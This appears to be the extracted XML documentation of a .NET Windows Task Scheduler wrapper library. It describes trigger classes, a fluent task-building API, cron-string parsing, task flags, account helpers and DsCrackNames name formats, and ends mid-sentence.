+ Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: 